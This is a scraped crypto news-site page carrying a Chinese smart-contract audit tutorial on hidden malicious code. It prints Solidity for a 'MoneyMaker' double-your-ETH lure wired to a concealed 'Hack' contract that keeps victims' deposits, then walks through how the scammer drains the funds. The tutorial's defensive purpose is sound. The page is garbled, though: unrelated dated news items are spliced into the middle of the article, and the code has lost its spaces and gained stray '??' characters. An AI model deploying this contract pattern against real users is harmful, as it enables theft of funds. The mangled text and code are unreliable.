以太幣交易所 以太幣交易所
Ctrl+D 以太幣交易所
ads
首頁 > PEPE幣 > Info

智能合約安全審計入門篇 —— 移花接木_MAKE

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約A傳入合約B地址,這樣調用路徑為正常路徑。

實際的調用路徑:

馬克·庫班:堅持投資加密貨幣是因為相信智能合約:11月14日消息,NBA達拉斯獨行俠隊老板、億萬富翁馬克·庫班發文稱,他堅持投資加密貨幣是因為相信智能合約。馬克·庫班補充稱,從第一天開始,我就說過,智能合約將對創建有價值的應用程序產生重大影響,代幣的價值來源于在其平臺上運行的應用程序和平臺創建的實用程序。現在,這些實用程序還沒有出來,但其實每個人都會需要。[2022/11/14 13:03:47]

部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

幣利得智能合約交易升級,月開通用戶已達5000多人:據官方報道,PandaCoin自上線智能合約交易教育產品-幣利得,截止7月1日已有5000余位用戶開通幣利得。

幣利得最具特色的功能-風險保證金,由平臺兜底。據悉,開通幣利得所需的PandaCoin平臺積分PDC上線時間定于幣利得用戶達到10000人后,按照目前的開通情況,預計7到月底PDC即可上線。詳情點擊原文鏈接。[2020/7/2]

騙局分析

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:

MoneyMaker合約代表A合約;

Vault合約代表B合約;

Hack合約代表C合約。

所以用戶以為的調用路徑為:

MoneyMaker->Vault。

而實際的調用路徑為:

MoneyMaker->Hack。

聲音 | CFTC專員:穩定幣有潛力成為智能合約的強大推動者:金色財經報道,美國商品期貨交易委員會(CFTC)技術咨詢委員會于2月26日舉行了一次公開會議,以了解有關穩定幣、加密貨幣保險、監管慣例和網絡安全的信息。CFTC專員Brian Quintenz表示,為了提供相關價值,通過代幣化,穩定幣有潛力充當可行的流動性交換媒介,并成為智能合約的有力推動者。[2020/2/28]

下面我們來看看攻擊者如何完成騙局的:

1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;

2.Evil部署Hack(C)惡意合約;

3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;

歐鏈老狼:EOS會成為第一個可以跑起來上百個智能合約應用的平臺:EOS超級節點競選團隊歐鏈的老狼在《歐鏈·寧話區塊鏈》第二季的節目中稱“我們認為區塊鏈產業第三個里程碑是企業級智能合約平臺,EOS會成為第一個可以跑起來上百個智能合約應用的平臺。現在的性能測試數據顯示,以太坊一秒支持20筆交易,EOS支持1900筆交易。也就是說,以太坊能夠支撐起1個加密貓,EOS可以支撐起100個加密貓。”[2018/6/1]

4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;

5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。

Penta CEO David Ritter針對EOS重大漏洞表示:智能合約虛擬機與宿主機的安全隔離至關重要:Penta公鏈(PNT)CEO David Ritter針對EOS被曝出的堪稱“史詩級漏洞”的智能合約虛擬機安全問題表示,智能合約虛擬機是區塊鏈平臺承載商業的核心,智能合約虛擬機與宿主機的安全隔離至關重要,設計時需要考慮:

1.智能合約運行環境要容器化、沙盒化,盡量與操作系統隔離;

2.智能合約語言要采用DSL,而非通用語言,如采用函數式語言;

3.智能合約虛擬機設計要簡潔明了,避免引入復雜繁瑣的功能;

4.對智能合約的復雜度要有限制,遞歸調用、多重嵌套循環等過于復雜的合約應拒絕執行。[2018/5/29]

咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

Tags:MAKEMakerVAULTULTCrypto Makers Foundationmakerdao官網Punk Vault (NFTX)RINGER Vault (NFTX)

PEPE幣
AI開始為數字人注入靈魂_數字人

作者:?弗雷迪 數據支持:?勾股大數據 來源:格隆匯 圖片來源:由無界AI工具生成這幾天,國內“冷門歌手”憑借AI翻唱再度走紅.

1900/1/1 0:00:00
為什么Lido V2升級對LSD賽道很重要?_LID

原文來源:@0x?Finish原文編譯:ChainCatcher?昨晚,流動性質押協議Lido發布V2升級投票公告,根據時間表:?5月12日20:?00開始Aragon投票.

1900/1/1 0:00:00
BRC-20 導致比特幣網絡又堵又貴?別忘了它還有這個大殺招_比特幣

作者|Wheatstones編譯|火火近日,由于比特幣生態NFT、BRC-20等陸續火爆導致比特幣網絡越來越擁堵,頭部平臺陸續開始支持閃電網絡提款,另外閃電網絡協議OmniBOLT發推表示.

1900/1/1 0:00:00
我如何逃過一場 Azuki 騙局?_ETH

撰文:Kouk.eth?我想要講述一個故事,我的AzukiNFT差點被騙走。事情開始于一條看似無害的Discord消息,有人為我的Azuki給出了一個誘人的報價.

1900/1/1 0:00:00
一文了解比特幣UTXO、Ordinals、Brc20之間的技術邏輯關系_NFT

自Ordinals問世以來,比特幣inscription市場一直都很小眾,但BRC20標準的出現改變了這一局面。當ordi萬倍神話還在耳邊傳揚時,比特幣NFT小圖片市場也順勢打破了冷寂.

1900/1/1 0:00:00
OpenSea凍結被盜NFT資產策略引發社區質疑_OPEN

據AMBCrypto1月17日消息,OpenSea凍結被盜NFT資產策略引發社區質疑。根據OpenSea網站披露的政策信息顯示:“當OpenSea收到可靠的報告或得知某件物品被盜時,我們會鎖定該.

1900/1/1 0:00:00
ads